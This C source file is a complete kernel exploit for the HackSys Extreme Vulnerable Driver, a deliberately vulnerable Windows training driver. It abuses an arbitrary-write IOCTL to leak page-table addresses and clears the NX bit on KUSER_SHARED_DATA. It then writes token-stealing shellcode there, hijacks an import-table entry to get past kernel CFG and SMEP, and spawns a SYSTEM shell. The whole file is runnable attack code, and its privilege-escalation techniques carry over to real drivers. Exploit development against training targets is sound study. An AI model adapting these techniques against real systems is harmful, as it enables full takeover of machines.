kCFG_Bypass.c

// HackSys Extreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite & SMEP Enabled/kCFG enabled)
// Author: Connor McGarr
// Compilation on Windows via gcc: gcc kCFG_Bypass.c -o exploit.exe -lpsapi

#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>

#define IOCTL_CODE 0x0022200B

// Defining KUSER_SHARED_DATA+0x800 as a global variable
unsigned long long KUSER_SHARED_DATA = 0xFFFFF78000000800;
unsigned long long KUSER_SHARED_DATA_8 = 0xFFFFF78000000808;
unsigned long long KUSER_SHARED_DATA_10 = 0xFFFFF78000000810;
unsigned long long KUSER_SHARED_DATA_18 = 0xFFFFF78000000818;
unsigned long long KUSER_SHARED_DATA_20 = 0xFFFFF78000000820;
unsigned long long KUSER_SHARED_DATA_28 = 0xFFFFF78000000828;
unsigned long long KUSER_SHARED_DATA_30 = 0xFFFFF78000000830;
unsigned long long KUSER_SHARED_DATA_38 = 0xFFFFF78000000838;
unsigned long long KUSER_SHARED_DATA_40 = 0xFFFFF78000000840;

unsigned long long kernelBase(char name[])
{
	// Defining EnumDeviceDrivers() and GetDeviceDriverBaseNameA() parameters
	LPVOID lpImageBase[1024];
	DWORD lpcbNeeded;
	int drivers;
	char lpFileName[1024];
	unsigned long long imageBase;

	BOOL baseofDrivers = EnumDeviceDrivers(
		lpImageBase,
		sizeof(lpImageBase),
		&lpcbNeeded
	);

	// Error handling
	if (!baseofDrivers)
	{
		printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
		exit(1);
	}

	// Defining number of drivers for GetDeviceDriverBaseNameA()
	drivers = lpcbNeeded / sizeof(lpImageBase[0]);

	// Parsing loaded drivers
	for (int i = 0; i < drivers; i++)
	{
		GetDeviceDriverBaseNameA(
			lpImageBase[i],
			lpFileName,
			sizeof(lpFileName) / sizeof(char)
		);

		// Keep looping, until found, to find user supplied driver base address
		if (!strcmp(name, lpFileName))
		{
			imageBase = (unsigned long long)lpImageBase[i];

			// Exit loop
			break;
		}
	}

	return imageBase;
}

void exploitWork(void)
{
	/*

		[BITS 64]
		_start:
			mov rax, [gs:0x188]	; Current thread (_KTHREAD)
			mov rax, [rax + 0xb8]	; Current process (_EPROCESS)
			mov rbx, rax		; Copy current process (_EPROCESS) to rbx
		__loop:
			mov rbx, [rbx + 0x2f0] 	; ActiveProcessLinks
			sub rbx, 0x2f0		; Go back to current process (_EPROCESS)
			mov rcx, [rbx + 0x2e8] 	; UniqueProcessId (PID)
			cmp rcx, 4 		; Compare PID to SYSTEM PID 
			jnz __loop		; Loop until SYSTEM PID is found
			mov rcx, [rbx + 0x360]	; SYSTEM token is @ offset _EPROCESS + 0x358
			and cl, 0xf0		; Clear out _EX_FAST_REF RefCnt
			mov [rax + 0x360], rcx	; Copy SYSTEM token to current process
			xor rax, rax		; STATUS_SUCCESS
			ret			; Done!
	*/
	
	// One QWORD arbitrary write
	// Shellcode is 67 bytes (67/8 = 9 unsigned long longs)
	unsigned long long shellcode1 = 0x00018825048B4865;
	unsigned long long shellcode2 = 0x000000B8808B4800;
	unsigned long long shellcode3 = 0x02F09B8B48C38948;
	unsigned long long shellcode4 = 0x0002F0EB81480000;
	unsigned long long shellcode5 = 0x000002E88B8B4800;
	unsigned long long shellcode6 = 0x8B48E57504F98348;
	unsigned long long shellcode7 = 0xF0E180000003608B;
	unsigned long long shellcode8 = 0x4800000360888948;
	unsigned long long shellcode9 = 0x0000000000C3C031;

	// Creating pointers for each shellcode QWORD
	PULONGLONG shellcode1Pointer = &shellcode1;
	PULONGLONG shellcode2Pointer = &shellcode2;
	PULONGLONG shellcode3Pointer = &shellcode3;
	PULONGLONG shellcode4Pointer = &shellcode4;
	PULONGLONG shellcode5Pointer = &shellcode5;
	PULONGLONG shellcode6Pointer = &shellcode6;
	PULONGLONG shellcode7Pointer = &shellcode7;
	PULONGLONG shellcode8Pointer = &shellcode8;
	PULONGLONG shellcode9Pointer = &shellcode9;

	// Return value of kernelbase() for HEVD.sys
	unsigned long long hevdBase = kernelBase("HEVD.sys");

	// Return value of kernelBase for ntoskrnl.exe
	unsigned long long baseAddress = kernelBase("ntoskrnl.exe");

	// Print update for driver and kernel base
	printf("[+] HEVD.sys base address is located at: 0x%llx\n", hevdBase);
	printf("[+] ntoskrnl.exe base address is located at: 0x%llx\n", baseAddress);

	// Defining nt!MiGetPteAddress+0x13 and print update for location of nt!MiGetPteAddress
	unsigned long long ntmigetpteAddress = baseAddress+0x812bb;
	printf("[+] nt!MiGetPteAddress+0x13 is located at: 0x%llx\n", ntmigetpteAddress);

	// Defining pointer to write base of PTEs to (must initialize pointer, hence placeholder)
	unsigned long long placeholder = 0;
	PULONGLONG baseofPtes = &placeholder;

	// Defining buffer to send to driver
	char buf [0x10];
	size_t oneQword = 0x8;
	
	// Initializing buffer to junk to satisfy type error of memset
	memset(buf, 0x41, 0x10);

	// Actual buffer for extracting the PTE base
	memcpy(buf, &ntmigetpteAddress, oneQword);
	memcpy(&buf[0x8], &baseofPtes, oneQword);

	// Obtaining handle to the driver
	printf("[+] Obtaining handle to the driver via CreateFileA()...\n");
	HANDLE drvHandle = CreateFileA(
		"\\\\.\\HackSysExtremeVulnerableDriver",
		0xC0000000,
		0x0,
		NULL,
		0x3,
		0x0,
		NULL
	);

	// Error handling
	if (!drvHandle)
	{
		printf("[-] Error! Unable to obtain a handle to the driver. Error: %d\n", GetLastError());
		exit(1);
	}

	// Print update for HANDLE
	printf("[+] Handle to the driver: %d\n", drvHandle);

	// Sending buffer to the driver

	// Defining lpBytesReturned parameter
	DWORD lpBytesReturned;
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf,
		sizeof(buf),
		NULL,
		0,
		&lpBytesReturned,
		NULL
		);

	// Print update for extracting base of the PTEs
	printf("[+] Extracting the base of the PTEs...\n");

	// Defining variable to place base of PTEs
	unsigned long long pteBase = (unsigned long long)*baseofPtes;

	// Print update for base of the PTEs
	printf("[+] Base of the page table entries: 0x%llx\n", pteBase);

	// Bitwise operations to locate PTE of shellcode page
	unsigned long long kusershareddataPte = (unsigned long long)KUSER_SHARED_DATA >> 9;
	kusershareddataPte = kusershareddataPte & 0x7FFFFFFFF8;
	kusershareddataPte = kusershareddataPte + pteBase;

	// Print update for shellcode's PTE page
	printf("[+] KUSER_SHARED_DATA+0x800 PTE is located at: 0x%llx\n", kusershareddataPte);

	// Defining pointer to extract shellcode's PTE control bits (must initialize pointer, hence placeholder)
	placeholder = 0;
	PULONGLONG ptecontrolbitsPointer = &placeholder;

	// Defining buffer to send to driver
	char buf1 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf1, 0x41, 0x10);

	// Actual buffer for extracting PTE control bits
	memcpy(buf1, &kusershareddataPte, oneQword);
	memcpy(&buf1[0x8], &ptecontrolbitsPointer, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf1,
		sizeof(buf1),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	unsigned long long ptecontrolBits = (unsigned long long)*ptecontrolbitsPointer;

	// Print update for PTE control bits
	printf("[+] PTE control bits for KUSER_SHARED_DATA+0x800: %p\n", ptecontrolBits);

	// Corrupting X bit in PTE to make KUSER_SHARED_DATA executable
	unsigned long long taintedPte;
	taintedPte = ptecontrolBits & 0x0FFFFFFFFFFFFFFF;

	// Defining pointer for corrupted PTE bits
	PULONGLONG taintedptePointer = &taintedPte;

	// Defining buffer to send to driver
	char buf2[0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf2, 0x41, 0x10);

	// Actual buffer for corrupting PTE
	memcpy(buf2, &taintedptePointer, oneQword);
	memcpy(&buf2[0x8], &kusershareddataPte, oneQword);

	// Print update for corrupting PTE
	printf("[+] Corrupting PTE of KUSER_SHARED_DATA+0x800 to clear NX bit...\n");

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf2,
		sizeof(buf2),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Print update for corrupted PTE
	printf("[+] KUSER_SHARED_DATA+0x800 is now kRWX! Sorry, SMEP and kernel mode NX!\n");

	// Defining buffer to send to driver
	char buf3 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf3, 0x41, 0x10);

	// Actual buffer for overwriting KUSER_SHARED_DATA+0x800
	memcpy(buf3, &shellcode1Pointer, oneQword);
	memcpy(&buf3[0x8], &KUSER_SHARED_DATA, oneQword);

	// Print update for KUSER_SHARED_DATA+0x800 overwrite
	printf("[+] Overwriting KUSER_SHARED_DATA+0x800 with shellcode...\n");

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf3,
		sizeof(buf3),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Defining buffer to send to driver
	char buf4 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf4, 0x41, 0x10);

	// Actual buffer for overwriting KUSER_SHARED_DATA+0x808
	memcpy(buf4, &shellcode2Pointer, oneQword);
	memcpy(&buf4[0x8], &KUSER_SHARED_DATA_8, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf4,
		sizeof(buf4),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Defining buffer to send to driver
	char buf5 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf5, 0x41, 0x10);

	// Actual buffer for overwriting KUSER_SHARED_DATA+0x810
	memcpy(buf5, &shellcode3Pointer, oneQword);
	memcpy(&buf5[0x8], &KUSER_SHARED_DATA_10, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf5,
		sizeof(buf5),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Defining buffer to send to driver
	char buf6 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf6, 0x41, 0x10);

	// Actual buffer for overwriting KUSER_SHARED_DATA+0x818
	memcpy(buf6, &shellcode4Pointer, oneQword);
	memcpy(&buf6[0x8], &KUSER_SHARED_DATA_18, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf6,
		sizeof(buf6),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Defining buffer to send to driver
	char buf7 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf7, 0x41, 0x10);

	// Actual buffer for overwriting KUSER_SHARED_DATA+0x820
	memcpy(buf7, &shellcode5Pointer, oneQword);
	memcpy(&buf7[0x8], &KUSER_SHARED_DATA_20, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf7,
		sizeof(buf7),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Defining buffer to send to driver
	char buf8 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf8, 0x41, 0x10);

	// Actual buffer for overwriting KUSER_SHARED_DATA+0x828
	memcpy(buf8, &shellcode6Pointer, oneQword);
	memcpy(&buf8[0x8], &KUSER_SHARED_DATA_28, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf8,
		sizeof(buf8),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Defining buffer to send to driver
	char buf9 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf9, 0x41, 0x10);

	// Actual buffer for overwriting KUSER_SHARED_DATA+0x830
	memcpy(buf9, &shellcode7Pointer, oneQword);
	memcpy(&buf9[0x8], &KUSER_SHARED_DATA_30, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf9,
		sizeof(buf9),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Defining buffer to send to driver
	char buf10 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf10, 0x41, 0x10);

	// Actual buffer for overwriting KUSER_SHARED_DATA+0x838
	memcpy(buf10, &shellcode8Pointer, oneQword);
	memcpy(&buf10[0x8], &KUSER_SHARED_DATA_38, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf10,
		sizeof(buf10),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Defining buffer to send to driver
	char buf11 [0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf11, 0x41, 0x10);

	// Actual buffer for overwriting KUSER_SHARED_DATA+0x840
	memcpy(buf11, &shellcode9Pointer, oneQword);
	memcpy(&buf11[0x8], &KUSER_SHARED_DATA_40, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf11,
		sizeof(buf11),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// IAT entries are not checked by kCFG
	// HEVD+0x2010 is an IAT entry that points to nt!ExAllocatePoolWithTag
	// Making the IAT entry writeable
	unsigned long long hevdIat = hevdBase + 0x2010;
	unsigned long long hevdiatPte = hevdIat >> 9;
	hevdiatPte = hevdiatPte	& 0x7FFFFFFFF8;
	hevdiatPte = hevdiatPte + pteBase;

	// Print update for location of IAT entry
	printf("[+] IAT entry located at: 0x%llx\n", hevdiatPte);

	// Defining pointer to write PTE to
	placeholder = 0;
	PULONGLONG iatptePointer = &placeholder;

	// Defining buffer to send to driver
	char buf12 [0x12];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf12, 0x41, 0x10);

	// Actual buffer for extracting PTE of IAT entry
	memcpy(buf12, &hevdiatPte, oneQword);
	memcpy(&buf12[0x8], &iatptePointer, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf12,
		sizeof(buf12),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Defining variable to place IAT PTE
	unsigned long long iatPte = (unsigned long long)*iatptePointer;

	// Print update for IAT PTE control bits
	printf("[+] IAT PTE control bits: 0x%p\n", iatPte);

	// Making IAT writeable/executable
	unsigned long long taintediatPte;
	taintediatPte = iatPte & 0x0FFFFFFFFFFFFFFF;
	taintediatPte = iatPte + 2;

	// Defining pointer for corrupted IAT PTE bits
	PULONGLONG taintedpteiatPointer = &taintediatPte;

	// Defining buffer to send to driver
	char buf13[0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf13, 0x41, 0x10);

	// Actual buffer for corrupting IAT PTE control bits
	memcpy(buf13, &taintedpteiatPointer, oneQword);
	memcpy(&buf13[0x8], &hevdiatPte, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf13,
		sizeof(buf13),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Print update for corrupting IAT PTE
	printf("[+] Corrupted IAT entry! IAT entry pointing to nt!ExAllocatePoolWithTag is now kRWX!\n");

	// Defining pointer for KUSER_SHARED_DATA
	PULONGLONG KUSER_SHARED_DATA_POINTER = &KUSER_SHARED_DATA;

	// Defining buffer to send to driver
	char buf14[0x10];

	// Initializing buffer to junk to satisfy type error of memset
	memset(buf14, 0x41, 0x10);

	// Actual buffer for overwriting IAT entry with KUSER_SHARED_DATA
	memcpy(buf14, &KUSER_SHARED_DATA_POINTER, oneQword);
	memcpy(&buf14[0x8], &hevdIat, oneQword);

	// Sending buffer to the driver
	DeviceIoControl(
		drvHandle,
		IOCTL_CODE,
		buf14,
		sizeof(buf14),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Defining dummy buffer to satisfy DeviceIoControl() for invoking IOCTL that calls corrupted IAT
	char dummyBuffer [0x8];
	memset(dummyBuffer, 0x90, 0x8);

	// Print update for invoking IOCTL
	printf("[+] Invoking IOCTL to trigger corrupted IAT entry! Sorry, kCFG!\n");

	// Invoking IOCTL to call IAT
	DeviceIoControl(
		drvHandle,
		0x00222013,
		dummyBuffer,
		sizeof(dummyBuffer),
		NULL,
		0,
		&lpBytesReturned,
		NULL
	);

	// Print update for overwriting IAT entry
	printf("[+] Successfully overwrote IAT entry with address of KUSER_SHARED_DATA+0x800!\n");

	// Print update for NT AUTHORITY\SYSTEM shell
	printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");

	// Spawning an NT AUTHORITY\SYSTEM shell
	system("cmd.exe /c cmd.exe /K cd C:\\");
}

int main()
{
	exploitWork();

	return 0;
}